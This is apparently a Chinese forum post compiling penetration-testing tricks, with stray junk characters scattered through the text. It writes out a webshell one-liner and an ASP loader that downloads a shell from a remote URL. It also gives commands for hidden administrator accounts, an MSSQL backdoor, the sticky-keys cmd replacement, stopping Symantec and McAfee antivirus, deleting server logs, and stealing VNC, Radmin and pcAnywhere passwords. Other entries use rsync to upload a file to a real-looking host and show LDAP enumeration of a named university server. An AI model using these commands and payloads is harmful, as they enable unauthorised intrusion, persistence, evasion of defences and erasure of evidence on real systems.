渗透技巧总结

admin

旁站路径问题
" O2 n2 `0 x) ^1、读网站配置。
2、用以下VBS
9 s. h5 m6 d* y3 O8 e9 _On Error Resume Next
: I6 T7 R% a8 W' x9 zIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
2 L- v- n  H8 f( ]        

3 C/ Y% b$ z/ _* q* r$ I- L& UMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
  V, D: ]$ ^5 ]* b% D
5 Z% X9 l' E& }Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
. X9 a5 q* \) V% u4 USet ObjService=GetObject
. }  L+ c: S3 I0 k$ T3 X
( ]$ a- R+ G1 k2 T("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
9 R0 E3 T  \+ m9 j, s1 o5 V. u2 @        If IsNumeric(obj3w.Name)
0 `5 x  g! X# Q9 D( S1 e8 G
7 _& ?% k3 l# W" ~' j/ e! l7 gThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
, A- e: Z3 C, I% A         
7 f1 ]# Z) y2 {& }
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
3 O4 l& B. q& b* W                If Err
5 h/ J5 M* Y* h4 N9 b& O! ]; P. h. h
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
8 d8 I4 f2 ~2 u$ _9 o
1 f- f# e" y/ N1 z4 E8 XOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
) |5 U/ `' K* Q8 A! b) F8 s+ q6 I     
7 [1 ^, R! F4 t2 w
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
) H, R. A+ k& P- l4 m                        
# w1 ^' `; J! w* P6 _& P0 J
/ R' W/ F5 \- dWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
+ B7 X) y$ E) H% l8 `                Next
      

# ~: _' o$ E1 S6 C, U9 W. o         WScript.Echo "ath            : " & VDirObj.Path
- O) ?+ |) S  p* h7 f# X        End If
6 k; ~' c+ F/ ~! b0 i5 ONext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
/ ]- ^+ p5 M, M9 r: @, E# V4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
1 p9 I+ m+ A* l; ~/ \$ ~9 nurl/wp-content/plugins/akismet/akismet.php
% ]9 J5 w: e$ J+ c6 y2 @$ d6 H* ^# p$ Murl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
: q, P9 }! ]8 _, W  g' {% s2 T" Xphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
6 ]9 v; S8 D2 X5 T网站可能目录(注：一般是虚拟主机类）
7 ^1 I( S* s1 I; k4 R* hdata/htdocs.网站/网站/
8 H- A5 l+ B4 @+ C) o- ^: ?3 |————————————————————
CMD下操作VPN相关
; [( e/ s/ V$ dnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
- }% {3 }! C! H: s: onetsh ras show user #查看哪些用户可以拨入VPN
9 |# v( z1 n  z: S/ L/ }; Bnetsh ras ip show config #查看VPN分配IP的方式
6 i, b: U8 h2 S- J1 dnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
7 E* y2 F' Y% R7 h$ o0 F3 I————————————————————
9 @- Q1 M& j6 d! [8 L5 i  }命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
1 p+ ]) Q2 q  Gexec master.dbo.sp_addlogin test,123
5 a, W9 {- M+ s; LEXEC sp_addsrvrolemember 'test, 'sysadmin'
$ a* l, Q1 Z4 s4 i& t0 D- M然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

& v* N* k/ u5 ~2 @# [: q. W" \8 u4 E另类的加用户方法
/ i: U& t) r# v% l0 c) n在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
) D8 s' Z! M+ |( I+ V0 h3 j, g8 bjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
, k) p* a6 }  a- |" c8 [' F* Lz.changePassword("123456","")
- `4 K4 Z' a7 r# `/ z4 P( o+ h+ Lz.setting("AccountType")=3;

$ M; q( y0 d, @+ U6 }- Rvbs:
. k) J+ z5 g. Z. V0 t! _( o5 \; DSet   o=CreateObject( "Shell.Users" )
- |) f) A: e- _4 G$ |! C3 Q. dSet z=o.create("test")
2 l* `$ ^9 L7 q' Y' s! zz.changePassword "123456",""
6 a; M! U. L0 @/ I$ {! k# L# R" }6 @7 iz.setting("AccountType")=3
# F% R* e$ D4 F2 C* U——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
& g' G; }+ R+ F& |/ L2 U) ]
% \/ G1 {8 \& Z1 l1 ]8 p) [命令如下
6 w8 f9 t" j2 G+ y$ H8 N1 ocacls c: /e /t /g everyone:F           #c盘everyone权限
4 p! r7 Q# s7 e! K& k* rcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
1 b) D/ i! G' W3 x7 ]4 u3389相关
: a! K1 o* a5 ^* \  j' |! ^# I. `a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
. @, u1 K/ b+ B* Lc、终端服务器超出了最大允许连接
7 S2 L0 b+ G. N3 bXP 运行mstsc /admin
2003 运行mstsc /console   

( s# p( w" y3 X2 S8 j杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
: o9 y  a* `; ?: L% pnet stop "Symantec Event Manager" /y
9 t) R+ N  ]6 r" T4 o; qnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
$ Z/ ^' c' ~; T$ P8 O& b0 v. w; T) @————————————————————

  m' }$ ]7 I0 F& N5 E: F2 }7 P6 r) f5次SHIFT：
! F' C4 T3 u, ~5 ^0 N+ Ccopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
$ R/ n# y, A8 O& X) V, D; ^——————————————————————
隐藏账号添加：
- ^* Z( }) \5 ?* I0 B0 e# f7 ^1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
9 q: d$ N9 _/ R2、导出注册表SAM下用户的两个键值
, b( W, A  L& n, b3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
" ~* c& i% p3 m6 L: s( CMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
/ v1 k0 G; T7 n6 O* IGRANT exec On xp_helpsystem TO public;
6 f: L. Z: H8 O# R* Q———————————————————————
3 ?( f. ^- [# y; E日志处理
# I6 Q, e. G3 }* bC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
& @1 \% W) q9 N( D: ]& Q9 @' V4 @3 Q直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
  j! E1 b& ~# H
MSSQL查询分析器连接记录清除：
  K5 |* I' M/ p) kMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
( x- ~  e& a+ }# gMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
/ h9 p8 P' a3 D* m% f  ~
$ e& ]; J9 N. L1 x  p5 D+ KServer\90\Tools\Shell\mru.dat
( [4 L! O8 K; g, Q& K  z1 f—————————————————————————
1 C* Z. Z: X8 @: B防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

& `) A% _" Y, a& x. H<%
5 s" u1 M. n- g0 j) KSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
, x) _" H2 I6 CDim Ads, Retrieval, GetRemoteData
+ a: c$ i( z" G; w$ cOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
6 @+ R& Y3 ^! X3 L.Open "Get", s_RemoteFileUrl, False, "", ""
) ^& o) y/ W8 W. c% Z* S.Send
GetRemoteData = .ResponseBody
' C4 ?" w  I6 v' l9 @End With
Set Retrieval = Nothing
0 V' ~5 ~' W; a2 @Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
# V" k- s5 R: s9 _4 R% t% p  |* ISet Ads=nothing
. X( m$ V+ Y1 HEnd Sub
- ]  V1 W$ ?. Y
& \! E* B" W! b" `eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
& p& ]$ g* U# K( V6 {: M%>
$ ^/ D8 t6 ?. {  z. V
4 l+ K8 I/ s* `: e( K$ bVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
( t! a/ v& V1 j- R3 ^- ?regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
& e( B. ?0 `5 I- @. _Users\Application Data\Symantec\pcAnywhere\文件夹下。
; i* |& ?; _" e( c& q——————————————————————
; h( k8 t+ [. r% p; g: `搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
, c- H( a  y' A' {3 c# u7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
( y  I; Q" r9 i
8 D$ y- T) V3 \  ], ^9 D7 D% d% M";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
  y2 @3 i4 s+ _) ^3 X
6 ^: b8 Z/ e; d- e6 E8 ~strSQLDBName & ";"
7 P/ U0 U) i7 D1 o; ^1 \conn.open strCon
dim rs,strSQL,id
5 R4 E. n: n! {# uset rs=server.createobject("ADODB.recordset")
id = request("id")
: q, F2 _+ }) \: h* d+ P( O" r+ IstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
5 @* ?+ i( j7 f! l! G0 M) y/ g. ?%>
1 T; L$ m9 O; ^; {复制代码
  o- E9 C( E9 E! o, ]) H1 ~, U******liunx 相关******
一.ldap渗透技巧
  z/ X) ~# X3 {, V' P1.cat /etc/nsswitch
9 S6 }# G  Y) c! k; D) m看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
0 J3 S' I* `" r' G+ _9 o
  M) z7 ^5 A  c" |& e6 Y/ m* l3.查找管理员信息
匿名方式
3 c* D  S* G* Q2 ?* D) w, Jldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
7 b' t" K: r+ }1 h: r
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
% \  J. y2 a# I0 F: X! h# \; [有密码形式
; y. B( |/ s3 c8 V3 M0 Q. r4 @ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

& j  Q! j- U. x! B8 E"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
) W/ V3 p1 L5 a* q  t( _
9 s0 V/ z' ]8 d- b2 H0 G; X
1 d' X+ \: s* J: ~% ?3 b4.查找10条用户记录
( I! k% P( M( W6 q4 \) q" [- l4 a! h4 Jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

! @$ L# X; J% D7 M) I/ V7 w实战:
1.cat /etc/nsswitch
; T, v: R$ ]( p  y2 \看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
( n# o8 p" E5 f- a1 b1 ^& e: Jbase ou=People,dc=unix-center,dc=net
; X0 t- U6 B5 v2 {. v找到ou,dc,dc设置

3.查找管理员信息
匿名方式
5 X! r4 R$ E; |ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

+ v! R# n7 O+ u% ]  f3 a0 A"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 P! S, R/ A$ r+ n  M0 I有密码形式
7 F7 L, D( x. B& C4 G$ {ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' @0 l( v; ?* P; D( ]4 J7 O; X
' q: R3 p: Y5 U+ c
/ j& }! W% [# V7 G" k9 c  S/ V4.查找10条用户记录
  n9 E+ L- o. V$ b% d3 |/ m7 ]$ \ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
- H" c6 O% E+ H) m3 W% n
/ v% D7 k$ l- Y6 B渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
7 ~! Z- s9 P$ \9 B+ Xversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
- A" ?- b5 D$ v+ [, j' `objectClass: domain
( D1 P4 b) c! E
dn: uid=manager,dc=ruc,dc=edu,dc=cn
% c- f. _8 k" w+ y6 s; u- cuid: manager
objectClass: inetOrgPerson
$ Q3 p5 ?0 E& b6 I" l# T( gobjectClass: organizationalPerson
objectClass: person
: G7 Y: b* {5 ^# d* ?% ]objectClass: top
sn: manager
4 T1 s% h$ u7 Ncn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
% R- J! x4 b/ s9 ~# ?5 S. suid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
  @* J' P2 V0 M( T2 n* w7 fobjectClass: top
sn: superadmin
cn: superadmin

. J! y: n- x" `6 ]dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
0 a- g5 ~# y% o. W% q, }* M; \% ]objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
9 U: c! U8 \: c/ q- Osn: admin
5 k+ x+ R7 F2 ncn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
% E8 G. E/ R$ {: {objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
" O2 D9 ]7 }) i
2.查看基类
3 O& I3 K. G  ubash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

( B' o# E7 j  Q( amore
version: 1
dn: dc=ruc,dc=edu,dc=cn
- s4 X/ ~9 i, o2 ]! ?dc: ruc
objectClass: domain
& @9 o5 }1 x, B& ~' Y
3.查找
7 o1 l; ?1 ^2 y4 ?4 i  Abash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
. f$ \0 f) l1 o+ Z, S+ i! |version: 1
dn:
objectClass: top
. @8 J5 h1 E3 h( tnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
8 l. N! V4 ?: w3 \0 J- m  O( lsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
$ e+ Y3 S9 ^  G& W, UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
0 `) B3 J, m( C" I$ ~- EsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
; j$ P, t! Y8 j5 QsupportedExtension: 2.16.840.1.113730.3.5.6
3 }3 W7 j" \1 u% A) U% DsupportedExtension: 2.16.840.1.113730.3.5.4
1 h- I% X+ j9 [- Y8 U8 RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
/ t+ q, q! }2 K0 X+ dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
! i; e! I. a" BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
( @) v& H+ k4 @8 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
- O1 c* i" ~  J! k- usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
: V% |- G* K& U: H0 S  ~+ XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
, F' @1 x$ S7 D5 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
+ l+ @, X3 ~* f8 t$ s. ~% P' m4 OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
' D/ O- g- {1 A& t7 M7 ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
; N% z1 E" R; dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
$ j$ s: H, g: ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
; }! i6 F7 |6 E- r0 hsupportedExtension: 1.3.6.1.4.1.1466.20037
, e7 ?7 p! X+ D( }supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
: U& ]7 u: f! W+ v! q. {. |0 |supportedControl: 2.16.840.1.113730.3.4.3
3 p' ^: L- v1 {3 H) JsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
+ g) O% @1 o, ?+ \( V( J) V# n0 [supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
& L: d8 k! \; s% K8 IsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
; a( P9 j) ?$ m% W  B8 XsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
5 ^2 e! Y8 n- Z5 Q, s3 L" esupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
/ A" P7 R) [# M) i) u% O2 PsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
* m1 k/ e% G% Q" k# |2 WsupportedSASLMechanisms: DIGEST-MD5
: B6 V+ n6 O, j8 V+ e) |6 xsupportedLDAPVersion: 2
1 r9 j/ `: ]4 E; T9 W2 @/ isupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
6 c7 o0 O0 T( T& LvendorVersion: Sun-Java(tm)-System-Directory/6.2
0 f( D# W9 N  o" bdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
$ @( Z3 c& q! f& o! ?7 QsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
. h" a7 G) x" x) Q" t" R( [supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
* ~' @; i/ l& J: B2 \+ c* FsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
* f* q$ {* J( T& ?' I: S3 Q0 w; vsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
  V. o' p8 P* x+ JsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
' P- K8 F8 ?8 z! z/ p7 YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
5 e0 L9 Q0 ~( p7 M3 y9 {2 a# \; nsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
/ t  l: b; e. D. osupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
( ?$ j/ A7 |) K6 q. b9 ZsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
1 [  @2 |6 [) q/ fsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
. ~; k6 j* t8 h" ^9 u6 g/ k8 tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
  A6 p1 M3 }# j; h7 s  z7 zsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
  \+ @2 T" J# _% E  I4 g) fsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
& A$ l5 Q& _( p/ _) v7 ]supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
. ~9 d& t3 v' `7 Z, q( `. h" b  tsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
, X. L, D( d6 Y' D  G7 i( }* Z4 Z, i5 PsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
" }) p; F4 B0 _supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
8 S/ _5 b8 C( p7 R4 ]  K  jsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
7 T* b* I# |7 \+ |supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
1 i' I9 |) E+ ?5 O; W1 XsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
; X! S8 ~; e: s2 \: G/ Q5 T0 \supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
" h. p% T& U; x' E) S+ HsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
& P2 Z! A" N9 v/ w————————————
' g7 ^) @) b1 w8 w  i' B! Z. l2. NFS渗透技巧
7 W" N, J7 d( t* p3 Cshowmount -e ip
" A5 a& D( ]. o4 H5 K+ P: z0 v列举IP
/ I% ]; x- F% J2 \4 x- L$ m——————
3.rsync渗透技巧
0 `4 }/ `: V5 [) W  Y' B) o1.查看rsync服务器上的列表
+ ]+ v3 u% ^8 }8 c; krsync 210.51.X.X::
finance
% M( Z1 h5 N+ z; ?( l  N# \img_finance
auto
0 w4 z( S, s+ P1 M& P4 K' yimg_auto
4 U5 L4 P2 d# zhtml_cms
: Q* d9 p# z( a  v- T" T* ]8 q* Gimg_cms
ent_cms
/ A, i8 u6 t+ H  ^# }- Rent_img
0 w# v+ {8 U5 v' i7 Rceshi
res_img
9 u. m& Q7 E- C- z" Bres_img_c2
1 v. N$ Q$ n5 I1 l9 D+ @% ochip
. a% Y) D9 t2 y- r) ]" Hchip_c2
) i3 P0 G) x4 O! z# Xent_icms
* p0 |# f8 F. g* q3 Dgames
* c( v( Q! B, B9 K6 Y" n, cgamesimg
media
mediaimg
7 D, ~4 B2 N% b# vfashion
# g% E- D8 t; M0 eres-fashion
res-fo
5 H, H0 j& O) O* e* U: b. Ataobao-home
res-taobao-home
house
) e8 ?9 u' a) m8 _# Hres-house
res-home
+ I8 \- R9 D; s7 Z/ Q' Dres-edu
6 B- ~. A2 D  ^1 B, tres-ent
res-labs
res-news
' r4 \' u, p  V9 U$ b  _7 z& f8 X; mres-phtv
+ m4 }4 t- k" [0 S8 Ores-media
( [  H7 r* m+ H. e7 yhome
4 t  A6 j- [% y& N  I! c4 Gedu
news
1 Q* m5 p3 t$ b6 J- k. g/ }2 s$ ^res-book

) Y$ P" ]) L6 z9 j( W" Y看相应的下级目录(注意一定要在目录后面添加上/)
8 h) G+ M0 ~* I: [* h0 T
; C1 G( R0 V0 ~1 |; W) ?
( @# m4 \$ T( |* n9 @& K9 Frsync 210.51.X.X::htdocs_app/
) [4 A6 s1 r5 c$ Z6 A9 nrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
1 H9 h: H- J- O4 [
2.下载rsync服务器上的配置文件
8 k  j% Q4 \; ]' n6 w. Orsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
& [; ?: u6 o/ S
5 e9 \" y! t) L9 T3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

/ b& i3 p; m+ A0 \+ W% z, z四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
% Y9 F% f8 U, fGET HTTP://WWW.sina.com:22 / HTTP/1.0
1 G# z& U& q) J; N) E& {6 L. C0 C五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

2 v$ L* g) f1 f六.joomla渗透小技巧
/ R4 M1 O/ ]4 T$ d! K! A+ F确定版本
6 E8 [$ `+ X& w9 H9 E0 n0 u9 oindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
0 U/ L: T* M: {9 F- A  E: W
15&catid=32:languages&Itemid=47

重新设置密码
9 \3 C4 J+ A  G# ^  pindex.php?option=com_user&view=reset&layout=confirm
+ }  h. L& \5 Y9 }# X" D
